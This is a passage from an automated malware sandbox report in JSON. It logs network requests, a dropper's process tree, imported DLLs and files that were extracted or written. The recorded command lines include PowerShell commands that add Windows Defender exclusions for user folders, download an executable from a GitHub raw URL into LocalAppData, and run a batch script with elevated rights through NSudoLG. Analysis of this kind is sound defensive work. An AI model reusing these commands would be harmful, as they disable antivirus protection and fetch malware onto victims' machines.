/assets/primer-react-185cf474198e.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/react-core-e72ce2a47fcc.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/react-core-e72ce2a47fcc.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/react-lib-80430c87778a.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/react-lib-80430c87778a.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/octicons-react-cf2f2ab8dab4.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/octicons-react-cf2f2ab8dab4.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_tanstack_react-query_build_mod-3b1f5d-85b60118c668.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_tanstack_react-query_build_mod-3b1f5d-85b60118c668.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/ui_packages_ui-commands_ui-commands_ts-a5d129177860.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/ui_packages_ui-commands_ui-commands_ts-a5d129177860.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/keyboard-shortcuts-dialog-8eef249f0ef9.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/keyboard-shortcuts-dialog-8eef249f0ef9.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-4898d1bf4b51.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-4898d1bf4b51.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/sessions-45d6658f8b6b.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/sessions-45d6658f8b6b.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"host":"github.githubassets.com","host_ip":"185.199.110.154:443","url":"/assets/vendors-node_modules_emotion_is-prop-valid_dist_emotion-is-prop-valid_esm_js-node_modules_emo-b1c483-23083d170518.js","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /assets/vendors-node_modules_emotion_is-prop-valid_dist_emotion-is-prop-valid_esm_js-node_modules_emo-b1c483-23083d170518.js HTTP/1.1\nAccept: */*\nAccept-Language: en-US\nUA-CPU: AMD64\nAccept-Encoding: gzip, deflate\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nHost: github.githubassets.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}],"processes":[{"pid":860,"ppid":0,"name":"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe","command_line":"","sha256":"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2","normalized_path":"C:\\abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe","uid":"00000000-00000860","icon":"$7f"},{"pid":7396,"ppid":860,"name":"F2a97.exe","command_line":"","sha256":"543281a7105bc42371d25c34e52ffb3d02b1a363e8ecf195e7b637ff8b01ed13","normalized_path":"%TEMP%\\IXP000.TMP\\F2a97.exe","parent_uid":"00000000-00000860","uid":"00000000-00007396"},{"pid":1224,"ppid":7396,"name":"1H12M2.exe","command_line":"","sha256":"b14707aaebb5aeda520e63a3b327f3a14cae0b477fc20e4f6906358bc3880a82","normalized_path":"%TEMP%\\IXP001.TMP\\1H12M2.exe","parent_uid":"00000000-00007396","uid":"00000000-00001224"},{"pid":6600,"ppid":1224,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\34.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00001224","uid":"00000000-00006600"},{"pid":1308,"ppid":6600,"name":"cmd.exe","command_line":"/c \"%TEMP%\\34.bat\" any_word","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006600","uid":"00000000-00001308"},{"pid":1276,"ppid":1308,"name":"chcp.com","command_line":"chcp 65001","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00001308","uid":"00000000-00001276"},{"pid":8888,"ppid":1308,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00001308","uid":"00000000-00008888"},{"pid":7792,"ppid":1308,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v \"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00001308","uid":"00000000-00007792"},{"pid":9008,"ppid":1308,"name":"NSudoLG.exe","command_line":"NSudoLG -U:T -P:E -UseCurrentConsole %TEMP%\\34.bat","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","normalized_path":"%TEMP%\\Work\\NSudoLG.exe","parent_uid":"00000000-00001308","uid":"00000000-00009008"},{"pid":2140,"ppid":9008,"name":"cmd.exe","command_line":"/c %TEMP%\\34.bat","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00009008","uid":"00000000-00002140"},{"pid":9132,"ppid":2140,"name":"cmd.exe","command_line":"/c \"%TEMP%\\34.bat\" any_word","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00002140","uid":"00000000-00009132"},{"pid":9052,"ppid":9132,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00009132","uid":"00000000-00009052"},{"pid":6792,"ppid":9132,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00009132","uid":"00000000-00006792"},{"pid":8076,"ppid":9132,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v \"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00009132","uid":"00000000-00008076"},{"pid":7184,"ppid":9132,"name":"mode.com","command_line":"Mode 79,49","sha256":"82bcc86e5e296647f69a0d56bca8516e444baa590e4bc207cc1bd9eb3909c9a8","normalized_path":"%WINDIR%\\system32\\mode.com","parent_uid":"00000000-00009132","uid":"00000000-00007184"},{"pid":6372,"ppid":9132,"name":"cmd.exe","command_line":"/c ver","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00009132","uid":"00000000-00006372"},{"pid":7696,"ppid":9132,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00009132","uid":"00000000-00007696"},{"pid":4188,"ppid":9132,"name":"find.exe","command_line":"find /i \"0x0\"","sha256":"794b46b2613cb208760e69ea964a649d28fe9acd68110bec08a5ca557014b68a","normalized_path":"%WINDIR%\\system32\\find.exe","parent_uid":"00000000-00009132","uid":"00000000-00004188"},{"pid":4728,"ppid":9132,"name":"cmd.exe","command_line":"/c tasklist","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00009132","uid":"00000000-00004728"},{"pid":4572,"ppid":4728,"name":"tasklist.exe","command_line":"","sha256":"d0de02e013574b1c6c940a7fb00c671b364d02e36c024ccba5ab9c3904e58d1e","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00004728","uid":"00000000-00004572"},{"pid":1812,"ppid":7396,"name":"2O4405.exe","command_line":"","sha256":"ce75f9dede6d4e93549d35b816898113b6befab9ef0aadf8949d4887c2c34bea","normalized_path":"%TEMP%\\IXP001.TMP\\2O4405.exe","parent_uid":"00000000-00007396","uid":"00000000-00001812"},{"pid":1824,"ppid":1812,"name":"saved.exe","command_line":"","sha256":"ce75f9dede6d4e93549d35b816898113b6befab9ef0aadf8949d4887c2c34bea","normalized_path":"%TEMP%\\c13dbdc4fa\\saved.exe","parent_uid":"00000000-00001812","uid":"00000000-00001824"},{"pid":8536,"ppid":860,"name":"3Y00Z.exe","command_line":"","sha256":"5f81f4cf50e0c6c9f54755a20af6e74c42222da75bb77c1ba55ebcb36068e456","normalized_path":"%TEMP%\\IXP000.TMP\\3Y00Z.exe","parent_uid":"00000000-00000860","uid":"00000000-00008536"},{"pid":6584,"ppid":8536,"name":"WerFault.exe","command_line":"-u -p 8536 -s 848","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008536","uid":"00000000-00006584"},{"pid":9024,"ppid":8536,"name":"WerFault.exe","command_line":"-u -p 8536 -s 848","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00008536","uid":"00000000-00009024"},{"pid":4672,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 464 -p 8536 -ip 8536","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00004672","icon":"$80"},{"pid":9088,"ppid":0,"name":"cmd.exe","command_line":"/c powershell -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ishgdrqmyt', 'C:\\Users', '%ALLUSERSPROFILE%\\\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00009088","icon":"$81"},{"pid":4460,"ppid":9088,"name":"powershell.exe","command_line":"powershell -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ishgdrqmyt', 'C:\\Users', '%ALLUSERSPROFILE%\\\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00009088","uid":"00000000-00004460"},{"pid":5404,"ppid":0,"name":"cmd.exe","command_line":"/c powershell -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ndyvmw', 'C:\\Users', '%ALLUSERSPROFILE%\\\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00005404","icon":"$82"},{"pid":7072,"ppid":5404,"name":"powershell.exe","command_line":"powershell -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\ndyvmw', 'C:\\Users', '%ALLUSERSPROFILE%\\\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005404","uid":"00000000-00007072"},{"pid":7820,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 444 -p 4288 -ip 4288","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00007820","icon":"$83"},{"pid":6992,"ppid":0,"name":"WerFault.exe","command_line":"-u -p 4288 -s 756","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00006992","icon":"$84"},{"pid":7800,"ppid":0,"name":"cmd.exe","command_line":"/c powershell -Command \"Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ndyvmw\\vjzzdd.exe'\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00007800","icon":"$85"},{"pid":8744,"ppid":7800,"name":"powershell.exe","command_line":"powershell -Command \"Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ndyvmw\\vjzzdd.exe'\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007800","uid":"00000000-00008744"},{"pid":7264,"ppid":0,"name":"cmd.exe","command_line":"/c powershell -Command \"Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ishgdrqmyt\\vaayhiufhdd.exe'\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00007264","icon":"$86"},{"pid":4104,"ppid":7264,"name":"powershell.exe","command_line":"powershell -Command \"Invoke-WebRequest -Uri 'https://github.com/grosesch/ibra/raw/refs/heads/main/chinainstal.exe' -OutFile '%LOCALAPPDATA%\\ishgdrqmyt\\vaayhiufhdd.exe'\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007264","uid":"00000000-00004104"}],"all_imported_dlls":["profapi.dll","srvcli.dll","bcrypt.dll","wow64win.dll","oleaut32.dll","userenv.dll","System.Data.dll","wow64.dll","shlwapi.dll","dwmapi.dll","netutils.dll","ExplorerFrame.dll","System.DirectoryServices.ni.dll","wtsapi32.dll","MpOAV.dll","AcLayers.dll","msvcrt.dll","usp10.dll","dbghelp.dll","mstask.dll","Microsoft.Management.Infrastructure.Native.ni.dll","windows.storage.dll","imagehlp.dll","wbemsvc.dll","System.Transactions.ni.dll","kernel.appcore.dll","tiptsf.dll","WinTypes.dll","propsys.dll","System.Data.ni.dll","advapi32.dll","ucrtbase_clr0400.dll","edputil.dll","sxs.dll","amsi.dll","psapi.dll","comctl32.dll","shfolder.dll","cfgmgr32.dll","sspicli.dll","IPHLPAPI.DLL","aepic.dll","ureg.dll","VxSSL32.dll","msctf.dll","winsta.dll","OneCoreUAPCommonProxyStub.dll","atl.dll","clr.dll","System.Management.ni.dll","wldp.dll","wow64cpu.dll","System.Numerics.ni.dll","rpcrt4.dll","CoreMessaging.dll","framedynos.dll","wmidcom.dll","TextInputFramework.dll","urlmon.dll","mscoree.dll","mscorlib.ni.dll","crypt32.dll","secur32.dll","kernel32.dll","shell32.dll","powrprof.dll","VxSSL64.dll","dpapi.dll","combase.dll","GdiPlus.dll","riched20.dll","atlthunk.dll","cryptsp.dll","msls31.dll","vcruntime140_clr0400.dll","0tqdWaWN.dll","cabinet.dll","ws2_32.dll","bcryptprimitives.dll","cldapi.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","mpr.dll","cmdext.dll","System.Configuration.ni.dll","slc.dll","KernelBase.dll","feclient.dll","gpapi.dll","MpClient.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","imm32.dll","ole32.dll","mscoreei.dll","System.Management.Automation.ni.dll","Microsoft.Management.Infrastructure.ni.dll","System.Transactions.dll","miutils.dll","apphelp.dll","win32u.dll","SHCore.dll","setupapi.dll","ulib.dll","System.Xml.ni.dll","sfc_os.dll","winmmbase.dll","Microsoft.PowerShell.Commands.Management.ni.dll","version.dll","Windows.StateRepositoryPS.dll","iertutil.dll","msIso.dll","fsutilext.dll","wbemprox.dll","chartv.dll","gdi32.dll","CoreUIComponents.dll","clrjit.dll","sfc.dll","fltLib.dll","gdi32full.dll","cryptbase.dll","pcacli.dll","wbemcomn.dll","msasn1.dll","Microsoft.PowerShell.Security.ni.dll","user32.dll","msvcp_win.dll","clbcatq.dll","ucrtbase.dll","wininet.dll","sechost.dll","oleacc.dll","wintrust.dll","uxtheme.dll","fastprox.dll","winmm.dll","mi.dll","advpack.dll","rsaenh.dll","ntmarta.dll","comdlg32.dll","wmiutils.dll","duser.dll","sppc.dll","ntdll.dll","dui70.dll","System.ni.dll","System.Core.ni.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"34.bat","sha256":"73bc1bd40dcb68ac6dbf25ffb5e0b708f43fd4ca8a17d08647eeb89641b37062","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"2O4405.exe","sha256":"ce75f9dede6d4e93549d35b816898113b6befab9ef0aadf8949d4887c2c34bea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"7z.exe","sha256":"cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"saved.exe","sha256":"ce75f9dede6d4e93549d35b816898113b6befab9ef0aadf8949d4887c2c34bea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"F59E91F8","sha256":"70e4150332a7f19f602dea1d789b77a207fb2dd7558419b6d6c82bb5b0ca085c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"3Y00Z.exe","sha256":"5f81f4cf50e0c6c9f54755a20af6e74c42222da75bb77c1ba55ebcb36068e456","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"F2a97.exe","sha256":"543281a7105bc42371d25c34e52ffb3d02b1a363e8ecf195e7b637ff8b01ed13","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"1H12M2.exe","sha256":"b14707aaebb5aeda520e63a3b327f3a14cae0b477fc20e4f6906358bc3880a82","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"DKTolz.zip","sha256":"fca2ed21f6a232fe7297a02dfb2dc31eb86f1acdf0c943a672870283d4f26e55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"NSudoLG.exe","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"cecho.exe","sha256":"5c1211559dda10592cfedd57681f18f4a702410816d36eda95aee6c74e3c6a47","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"nircmd.exe","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"saved.job","sha256":"d5f177ea2cb5c9d82ea269365d753af9a50bdf181f0a57fb6dc7ba10bf40434a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"primer-react-185cf474198e_1_.js","sha256":"bf43556680248cf64f64fa73beb892eaf248013d06ff99141329842f526f1bac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"octicons-react-cf2f2ab8dab4_1_.js","sha256":"6ed3df2f2d1e925911a816f374a373fe707fe58508ece8065cfb0effb50c09c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"primer-cba26849680f_1_.css","sha256":"1afc382b619dbb6c091cb65b4a4ac19d01e6a64c009a30f5e8bd034c3279d902","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"global-2cef982e4161_1_.css","sha256":"85b834e0e9f3159b7d8f386280364bacc219056867b7d896fd1d420a5aa8bb68","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"behaviors-9b314b6f4e79_1_.js","sha256":"c384a8ab9ddde102cac90f7c692cf1a753c3a2029b126b08ee303b81df63cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"name":"react-lib-80430c87778a_1_.js","sha256":"a5b0fcfba320014a477a9096edc6a2f87b369d5414e6c96cb964cc140eaba6c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]}],"files_written":[{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\IXP000.TMP\\F2a97.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\IXP000.TMP\\3Y00Z.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\IXP001.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\IXP001.TMP\\1H12M2.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\IXP001.TMP\\2O4405.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\F59E91F8","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\__tmp_rar_sfx_access_check_907783021","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"C:\\Work\\7z.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\WORK\\7Z.EXE","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\Work\\7z.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\Work\\cecho.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\Work\\DKTolz.zip","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\Work\\nircmd.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\Work\\NSudoLG.exe","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"%TEMP%\\34.bat","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"path":"C:\\Work","sources":[{"report_type":"san